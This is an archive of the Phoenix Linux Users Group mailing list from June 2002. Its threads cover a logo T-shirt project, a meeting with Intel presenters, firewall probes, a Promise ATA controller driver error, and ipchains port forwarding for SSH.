<200206120958.39618.zen2now@qwest.net> References: <200206120958.39618.zen2now@qwest.net> Message-ID: <200206121326.28646.zen2now@qwest.net> On Wednesday 12 June 2002 09:58 am, slr wrote: i spoke with one of the guys in the graphics dept. and hopefully by the end of the week i will have a vector image of the gif that is on the plug site. this new image should be easier to work. what do you guys think? slr > good morning plug, > > hope this request doesnt offend anyone, but i > was wondering is there any way i could get my hands on a Plug Logo T-Shirt? > I love the logo, "A Penguin in the Desert". > > slr > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 20:33:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Wed, 12 Jun 2002 13:33:27 -0700 Subject: Plug logo Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B490@mail.int.fh.org> And pizza! -----Original Message----- From: slr [mailto:zen2now@qwest.net] Sent: Wednesday, June 12, 2002 1:29 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Plug logo On Wednesday 12 June 2002 11:18 am, Tom Achtenberg wrote: thats a great idea, but what would we do with the money? we could buy beer!!! :~D slr > If someone can get them made, we could use the "For Sale" site Kimi has on > unitywave.com to sell/distribute them. > > -----Original Message----- > From: Derek Neighbors [mailto:derek@gnue.org] > Sent: Wednesday, June 12, 2002 10:59 AM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Plug logo > > > > The other option is CafePress.com. The product probably wont look as nice > and you wont raise as much money, but there is no out of pocket cost. > > The way it works is you upload your images and design your product online > at no cost. Then it creates a virtual store. Then you can buy products > and a portion of each sale comes back to you. > > http://www.cafepress.com/cp/store/store.aspx?storeid=geekgoods > > is an example.... I would whip up some for plug, but unfortunately the > image on the web site is... > > a. A .gif file (bad bad bad, i'm giving you a url to a .png version please > fix the site to use the .png version) > b. The .gif is so trashed it wont even open in gimp. (or gimp is that > broken) > > -Derek > > > Link to .png verison ( http://www.gnuenterprise.org/~dneighbo/plug.png ) > Why .gif is bad ( http://burnallgifs.org/ ) > > On Wed, 12 Jun 2002, Jim wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > Great idea. All we need to do is get someone to get the logo ready for > > screening, find someone to make the tshirts, and someone to cover the > > cost of having them made. > > > > OTOH, if you have the connections, by all means investigate it and lets > > see if we can get it done ;) > > > > On Wednesday 12 June 2002 09:58, you wrote: > > > good morning plug, > > > > > > hope this request doesnt offend anyone, but > > > i was wondering is there any way i could get my hands on a Plug Logo > > > T-Shirt? I love the logo, "A Penguin in the Desert". > > > > > > slr > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > - -- > > Jim > > > > Freedom is worth protecting > > > > -----BEGIN PGP SIGNATURE----- > > Version: PGP 6.5.8 > > > > iQA/AwUBPQeELisk3ywszI1FEQIHAgCdHWB5vYQRGvbjjSJOXrYtHQsl8I0AoMgY > > kBumg9lr/hCgTiM+jPaCj8w/ > > =9O71 > > -----END PGP SIGNATURE----- > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 20:32:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 12 Jun 2002 16:32:29 -0400 Subject: Thursday Meeting? Message-ID: I offered and asked them to do that but so far they have been completely non-commital about it. They all live in the east valley (near Intel, of course). At this point I assume they will not be coming that way. I will ask them again tomorrow. Alan On Wed, 12 Jun 2002 13:18:13 -0700 foodog wrote: Alan, are they going to mosey out West too? Steve alandd@mindspring.com wrote: > > I am sorry that the web site is out of date. > > YES, we are having a meeting. Representatives from Intel will be presenting on how they use Linux within the company. IT infrastructure, mult-machine building, clustering, and desktop use will be discussed. I confirmed with them by phone yesterday. > > They will be bringing stuff to giveaway too! I hope you can be there. > > Alan From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 13:39:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jon K) Date: Thu, 13 Jun 2002 13:39:49 +0000 Subject: code red virus? In-Reply-To: <3D06F5CB.84E0A50D@mindspring.com> References: <3D06F5CB.84E0A50D@mindspring.com> Message-ID: <200206131339.49473.jon@unfm00.com> I had this happen to me too... I had over 500 hits from some guys IIS 5.0 server in just one day. So I found out who he was and called his house. The man sounded a little shocked I had his number. The computer went of line quickly. :) Jon On Wednesday 12 June 2002 07:18, User wrote: > Lately we have noticed that our friendly firewall is taking hits from > what seems to be Russia. At least today it seems to be Russia. > Novoisvirsk, it seems like, according to traceroute. > I don't know a whole lot about probes like this but am thankful to you > folks for your guidance with regard to firewalls. > > Is there something that we can do with regard to this type of thing? > Maybe, just track them down for fun. Where would be a good place to > start reading about this sort of thing. > > We trace routed them throught 25 hops to 217.70.107.151 > > p151.rnttu.sinor.ru was the last hop on the list. > > Thank you > Roger > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 20:53:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 12 Jun 2002 13:53:36 -0700 Subject: Redhat 7.3 CDs In-Reply-To: <20020611202334.WRXC4949.lakemtao04.cox.net@smtp.east.cox.net> References: <20020611202334.WRXC4949.lakemtao04.cox.net@smtp.east.cox.net> Message-ID: <200206121353.36846.zen2now@qwest.net> if you have bandwidth and a burner, i have all 3 valhalla-i386 iso's. you can email me off list and i will give you the info you'll need. slr On Tuesday 11 June 2002 01:23 pm, Mark Phillips wrote: > Does anyone have a set of Redhat 7.3 CDs I could borrow? My work laptop > was stolen and I need to rebuild an old laptop with 7.3 for a project I am > working on. > > I know the install fest is coming up (I had intended upgrading this old > machine then, but the loss of my work computer has accelerated my need!). > > I have 7.0 running on my old laptop (Dell Inspiron 3000). When I tried to > install 7.1 from the CDs the install failed. I am hoping 7.3 will work > better. > > I live in Scottsdale if there is someone close by, but I am willing to > drive across the valley get this machine up and running to back to work! > > Thanks! > > Mark > > > Mark Phillips > Phillips Marketing, Inc. > 480.945.0798 > 480.945.9197 fax > mark@phillipsmarketing.biz > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 21:00:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 12 Jun 2002 14:00:02 -0700 Subject: Plug logo In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B490@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B490@mail.int.fh.org> Message-ID: <200206121400.02170.zen2now@qwest.net> Oh Goody!!!! On Wednesday 12 June 2002 01:33 pm, Tom Achtenberg wrote: > And pizza! > > -----Original Message----- > From: slr [mailto:zen2now@qwest.net] > Sent: Wednesday, June 12, 2002 1:29 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Plug logo > > > On Wednesday 12 June 2002 11:18 am, Tom Achtenberg wrote: > > thats a great idea, but what would we do with the money? > we could buy beer!!! :~D > > slr > > > If someone can get them made, we could use the "For Sale" site Kimi has > > on unitywave.com to sell/distribute them. > > > > -----Original Message----- > > From: Derek Neighbors [mailto:derek@gnue.org] > > Sent: Wednesday, June 12, 2002 10:59 AM > > To: plug-discuss@lists.plug.phoenix.az.us > > Subject: Re: Plug logo > > > > > > > > The other option is CafePress.com. The product probably wont look as > > nice and you wont raise as much money, but there is no out of pocket > > cost. > > > > The way it works is you upload your images and design your product online > > at no cost. Then it creates a virtual store. Then you can buy products > > and a portion of each sale comes back to you. > > > > http://www.cafepress.com/cp/store/store.aspx?storeid=geekgoods > > > > is an example.... I would whip up some for plug, but unfortunately the > > image on the web site is... > > > > a. A .gif file (bad bad bad, i'm giving you a url to a .png version > > please fix the site to use the .png version) > > b. The .gif is so trashed it wont even open in gimp. (or gimp is that > > broken) > > > > -Derek > > > > > > Link to .png verison ( http://www.gnuenterprise.org/~dneighbo/plug.png ) > > Why .gif is bad ( http://burnallgifs.org/ ) > > > > On Wed, 12 Jun 2002, Jim wrote: > > > -----BEGIN PGP SIGNED MESSAGE----- > > > Hash: SHA1 > > > > > > Great idea. All we need to do is get someone to get the logo ready for > > > screening, find someone to make the tshirts, and someone to cover the > > > cost of having them made. > > > > > > OTOH, if you have the connections, by all means investigate it and lets > > > see if we can get it done ;) > > > > > > On Wednesday 12 June 2002 09:58, you wrote: > > > > good morning plug, > > > > > > > > hope this request doesnt offend anyone, > > > > but i was wondering is there any way i could get my hands on a Plug > > > > Logo T-Shirt? I love the logo, "A Penguin in the Desert". > > > > > > > > slr > > > > > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > > > doesn't post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > - -- > > > Jim > > > > > > Freedom is worth protecting > > > > > > -----BEGIN PGP SIGNATURE----- > > > Version: PGP 6.5.8 > > > > > > iQA/AwUBPQeELisk3ywszI1FEQIHAgCdHWB5vYQRGvbjjSJOXrYtHQsl8I0AoMgY > > > kBumg9lr/hCgTiM+jPaCj8w/ > > > =9O71 > > > -----END PGP SIGNATURE----- > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 21:00:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 12 Jun 2002 14:00:02 -0700 Subject: Plug logo In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B490@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B490@mail.int.fh.org> Message-ID: <200206121400.02170.zen2now@qwest.net> Oh Goody!!!! On Wednesday 12 June 2002 01:33 pm, Tom Achtenberg wrote: > And pizza! > > -----Original Message----- > From: slr [mailto:zen2now@qwest.net] > Sent: Wednesday, June 12, 2002 1:29 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Plug logo > > > On Wednesday 12 June 2002 11:18 am, Tom Achtenberg wrote: > > thats a great idea, but what would we do with the money? > we could buy beer!!! :~D > > slr > > > If someone can get them made, we could use the "For Sale" site Kimi has > > on unitywave.com to sell/distribute them. > > > > -----Original Message----- > > From: Derek Neighbors [mailto:derek@gnue.org] > > Sent: Wednesday, June 12, 2002 10:59 AM > > To: plug-discuss@lists.plug.phoenix.az.us > > Subject: Re: Plug logo > > > > > > > > The other option is CafePress.com. The product probably wont look as > > nice and you wont raise as much money, but there is no out of pocket > > cost. > > > > The way it works is you upload your images and design your product online > > at no cost. Then it creates a virtual store. Then you can buy products > > and a portion of each sale comes back to you. > > > > http://www.cafepress.com/cp/store/store.aspx?storeid=geekgoods > > > > is an example.... I would whip up some for plug, but unfortunately the > > image on the web site is... > > > > a. A .gif file (bad bad bad, i'm giving you a url to a .png version > > please fix the site to use the .png version) > > b. The .gif is so trashed it wont even open in gimp. (or gimp is that > > broken) > > > > -Derek > > > > > > Link to .png verison ( http://www.gnuenterprise.org/~dneighbo/plug.png ) > > Why .gif is bad ( http://burnallgifs.org/ ) > > > > On Wed, 12 Jun 2002, Jim wrote: > > > -----BEGIN PGP SIGNED MESSAGE----- > > > Hash: SHA1 > > > > > > Great idea. All we need to do is get someone to get the logo ready for > > > screening, find someone to make the tshirts, and someone to cover the > > > cost of having them made. > > > > > > OTOH, if you have the connections, by all means investigate it and lets > > > see if we can get it done ;) > > > > > > On Wednesday 12 June 2002 09:58, you wrote: > > > > good morning plug, > > > > > > > > hope this request doesnt offend anyone, > > > > but i was wondering is there any way i could get my hands on a Plug > > > > Logo T-Shirt? I love the logo, "A Penguin in the Desert". > > > > > > > > slr > > > > > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > > > doesn't post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > - -- > > > Jim > > > > > > Freedom is worth protecting > > > > > > -----BEGIN PGP SIGNATURE----- > > > Version: PGP 6.5.8 > > > > > > iQA/AwUBPQeELisk3ywszI1FEQIHAgCdHWB5vYQRGvbjjSJOXrYtHQsl8I0AoMgY > > > kBumg9lr/hCgTiM+jPaCj8w/ > > > =9O71 > > > -----END PGP SIGNATURE----- > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 21:18:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 12 Jun 2002 14:18:36 -0700 Subject: Plug logo In-Reply-To: <200206120958.39618.zen2now@qwest.net> References: <200206120958.39618.zen2now@qwest.net> Message-ID: <200206121418.36425.zen2now@qwest.net> ok i sent the png image to my graphic guy, we will refer to him from now on as "Austin" (the name has been changed to protect his innocence), and this was his response: this is the same .gif inside of a .png document... vector images are made of lines and math, keeping high quality no matter how large or small you resize the image. raster images are made of many many dots or pixels of only 257 different colors, so when you enlarge these images, they get choppy or "pixilated" so he is more than happy to donate some of his time to this long overdue project. YEAH!!!! slr On Wednesday 12 June 2002 09:58 am, slr wrote: > good morning plug, > > hope this request doesnt offend anyone, but i > was wondering is there any way i could get my hands on a Plug Logo T-Shirt? > I love the logo, "A Penguin in the Desert". > > slr > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 21:33:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Wed, 12 Jun 2002 14:33:49 -0700 Subject: Promise Ultra 133 tx2 Message-ID: <2AAC72149C827944B96C854ABD0BCAFF16B73D@azmscorp01.corp.azms> Anybody ever had any luck getting a promise ultra 133 tx2 controller working under 2.4.7.x. on RH7.2 I have the fasttrack drivers for the fasttrack 100 for 2.4.7-10 but insmod gives me an error ft.o: init_module: Operation not permitted So I don't know if I am out of luck until promise makes a driver specific for the 133 or not. If anybody has any insight on this it would be greatly appreciated. I have searched on google and checked out promises site. maybe I missed something or just sol for now. but I really need the 120 gig drive. :) Thanks. Larry Lauer From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 21:47:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Wed, 12 Jun 2002 14:47:46 -0700 Subject: Promise Ultra 133 tx2 References: <2AAC72149C827944B96C854ABD0BCAFF16B73D@azmscorp01.corp.azms> Message-ID: <3D07C182.CC623F44@qwest.net> What user are you doing the insmod from? Operation not permitted makes me think you don't have the right permissions (e.g. user root). Larry Lauer wrote: > > Anybody ever had any luck getting a promise ultra 133 tx2 controller working under 2.4.7.x. on RH7.2 I have the fasttrack drivers for the fasttrack 100 for 2.4.7-10 but insmod gives me an error > > ft.o: init_module: Operation not permitted > > So I don't know if I am out of luck until promise makes a driver specific for the 133 or not. > > If anybody has any insight on this it would be greatly appreciated. I have searched on google and checked out promises site. maybe I missed something or just sol for now. but I really need the 120 gig drive. :) > > Thanks. > > Larry Lauer > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 15:41:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jon K) Date: Thu, 13 Jun 2002 15:41:50 +0000 Subject: Promise Ultra 133 tx2 In-Reply-To: <3D07C182.CC623F44@qwest.net> References: <2AAC72149C827944B96C854ABD0BCAFF16B73D@azmscorp01.corp.azms> <3D07C182.CC623F44@qwest.net> Message-ID: <200206131541.50212.jon@unfm00.com> I'm running Promise MBFastrack ata133 on my A7v333 board with kernel 2.4.19-pre10-ac2. You may want to go get the latest kernel and build it will support for you chipset. Then it may work right. I used these links. linux-ide.org http://www.murty.net/ataraid/ jon On Wednesday 12 June 2002 21:47, Kevin Brown wrote: > What user are you doing the insmod from? Operation not permitted makes me > think you don't have the right permissions (e.g. user root). > > Larry Lauer wrote: > > Anybody ever had any luck getting a promise ultra 133 tx2 controller > > working under 2.4.7.x. on RH7.2 I have the fasttrack drivers for the > > fasttrack 100 for 2.4.7-10 but insmod gives me an error > > > > ft.o: init_module: Operation not permitted > > > > So I don't know if I am out of luck until promise makes a driver specific > > for the 133 or not. > > > > If anybody has any insight on this it would be greatly appreciated. I > > have searched on google and checked out promises site. maybe I missed > > something or just sol for now. but I really need the 120 gig drive. :) > > > > Thanks. > > > > Larry Lauer > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 23:02:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Wed, 12 Jun 2002 16:02:15 -0700 Subject: Promise Ultra 133 tx2 Message-ID: <2AAC72149C827944B96C854ABD0BCAFF1A4DD2@azmscorp01.corp.azms> insmod was run as root. -----Original Message----- From: Kevin Brown [mailto:kevin_brown@qwest.net] Sent: Wednesday, June 12, 2002 2:48 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Promise Ultra 133 tx2 What user are you doing the insmod from? Operation not permitted makes me think you don't have the right permissions (e.g. user root). Larry Lauer wrote: > > Anybody ever had any luck getting a promise ultra 133 tx2 controller working under 2.4.7.x. on RH7.2 I have the fasttrack drivers for the fasttrack 100 for 2.4.7-10 but insmod gives me an error > > ft.o: init_module: Operation not permitted > > So I don't know if I am out of luck until promise makes a driver specific for the 133 or not. > > If anybody has any insight on this it would be greatly appreciated. I have searched on google and checked out promises site. maybe I missed something or just sol for now. but I really need the 120 gig drive. :) > > Thanks. > > Larry Lauer > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 23:24:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Wed, 12 Jun 2002 16:24:31 -0700 Subject: Promise Ultra 133 tx2 In-Reply-To: <2AAC72149C827944B96C854ABD0BCAFF16B73D@azmscorp01.corp.azms> References: <2AAC72149C827944B96C854ABD0BCAFF16B73D@azmscorp01.corp.azms> Message-ID: <200206121624.31879.voltage_spike@fastmail.fm> On Wednesday 12 June 2002 02:33 pm, Larry Lauer wrote: > Anybody ever had any luck getting a promise ultra 133 tx2 controller > working under 2.4.7.x. on RH7.2 I have the fasttrack drivers for the > fasttrack 100 for 2.4.7-10 but insmod gives me an error > > ft.o: init_module: Operation not permitted > > So I don't know if I am out of luck until promise makes a driver specific > for the 133 or not. I doubt that it would be helpful, but what happens if you use modprobe instead of insmod? -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 00:05:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kyle O'Malley) Date: Wed, 12 Jun 2002 17:05:39 -0700 Subject: Promise Ultra 133 tx2 In-Reply-To: <2AAC72149C827944B96C854ABD0BCAFF16B73D@azmscorp01.corp.azms> References: <2AAC72149C827944B96C854ABD0BCAFF16B73D@azmscorp01.corp.azms> Message-ID: <20020613000539.GB25390@aries.evilmascot.com> I would suggest looking at kern.log and the tail end of dmesg (syslog or debug.log might also have something to help). I'm thinking it's either just a non-working module or its a kernel version problem (either your kernel is compliled to whine when you try inserting modules compiled under different kernel versions or it simply doesnt work with your kernel version). In any case hopefully the logs will say something. -Kyle On Wed, Jun 12, 2002 at 02:33:49PM -0700, Larry Lauer wrote: > Anybody ever had any luck getting a promise ultra 133 tx2 controller working under 2.4.7.x. on RH7.2 I have the fasttrack drivers for the fasttrack 100 for 2.4.7-10 but insmod gives me an error > > ft.o: init_module: Operation not permitted > > So I don't know if I am out of luck until promise makes a driver specific for the 133 or not. > > > If anybody has any insight on this it would be greatly appreciated. I have searched on google and checked out promises site. maybe I missed something or just sol for now. but I really need the 120 gig drive. :) > > Thanks. > > Larry Lauer > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 00:34:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dan Lund) Date: Wed, 12 Jun 2002 17:34:49 -0700 Subject: PLUG-discuss digest, Vol 1 #2343 - 16 msgs In-Reply-To: <200206121825.g5CIP4227743@PlugList.MyButt.Net> References: <200206121825.g5CIP4227743@PlugList.MyButt.Net> Message-ID: <200206121734.49934.arkane_@yahoo.com> heh... my mistake... I use two email addresses, and I keep posting with my hotmail address. god I feel stupid now. I fixed it. Thanks -- Dan On Wednesday 12 June 2002 11:25 am, plug-discuss-request@lists.plug.phoenix.az.us wrote: > From: Tom Achtenberg > To: "'plug-discuss@lists.plug.phoenix.az.us'" > > Subject: RE: This is going to sound really stupid but > Date: Wed, 12 Jun 2002 07:28:07 -0700 > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > Follow the directions on he link at the bottom of each message. There is > an unsubscribe spot on that page. You may be one of the handful > subscribers who have chosen to have their info hidden. > > -----Original Message----- > From: Dan Lund [mailto:dan_lund@hotmail.com] > Sent: Tuesday, June 11, 2002 1:54 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: This is going to sound really stupid but > > > I have a question.. How do I unsubscribe, so that I can subscribe again? > I'm not in the database (my email address isn't) of people who are > subscribed, but I get the list (explain that one?) and I need to get off of > this digest-style mailing preference! > > help :) From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 01:19:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Wed, 12 Jun 2002 21:19:39 -0400 Subject: SSH and Firewalls? References: <20020611070735.A1557@lnx3.holmesgrown.com> <1023888470.9454.2.camel@barney.azapple.com> Message-ID: <3D07F32B.DBB2B8E1@georgetoft.com> Craig White wrote: > > On Tue, 2002-06-11 at 07:07, Steve Holmes wrote: > > Question about running ssh over a masqueraded network: > > > > I have a linux box that serves as the "point" machine for my network > > on which I forward ports with ipchains (2.2 kernel) to to inside > > amachines which each run sshd. My outside machine currently is not > > running ssh yet. If the default policy on my input chain is ACCEPT, I > > can successfully forward non standard ports through to specific > > machines an establish ssh sessions on them with no problems. If I > > default the input chain to DENY, as is done in endoshield script, The > > connections time out and I cannot connect. In both cases, I forward > > the same ports. > > > > Bottom line, If I use endoshield and add on the ipfwadm commands to > > forward the ports mentioned above, connections time out; If I do not > > use endoshield but use a simpler script that basically leaves the > > input chain wide open, I can establish the ssh sessions - no problem. > ---- > been a while since I used ipchains and not seeing your script, what I > think is happening is that the input chains are considered before your > forward chains and thus if you policy is to DENY, then the packets are > denied before they ever hit the 'forward' chains. This is correct. ipchains put the input chain before the forward chain, and iptables puts the forward chain before the input chain. George From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 01:30:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (KevinO) Date: Wed, 12 Jun 2002 18:30:56 -0700 Subject: Plug logo References: <02061212342215.08309@nova.wedge.org> Message-ID: <3D07F5D0.6040808@deru.com> Jim wrote: > > Btw, how did you open the gif to convert it? GIMP wouldnt open it for me > either. > Both Susan and I can open the original gif file from the website using gimp - no problem. On my machine I just right-mouse-clicked and did a 'save-as'. I then just opened the file (plug.gif) using gimp 1.2 . The installfest flyer was done using gimp and the PLUG logo from the website. -- Kevin O'Connor "People will be free to devote themselves to activities that are fun ... The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, Inc. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 01:22:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Wed, 12 Jun 2002 21:22:35 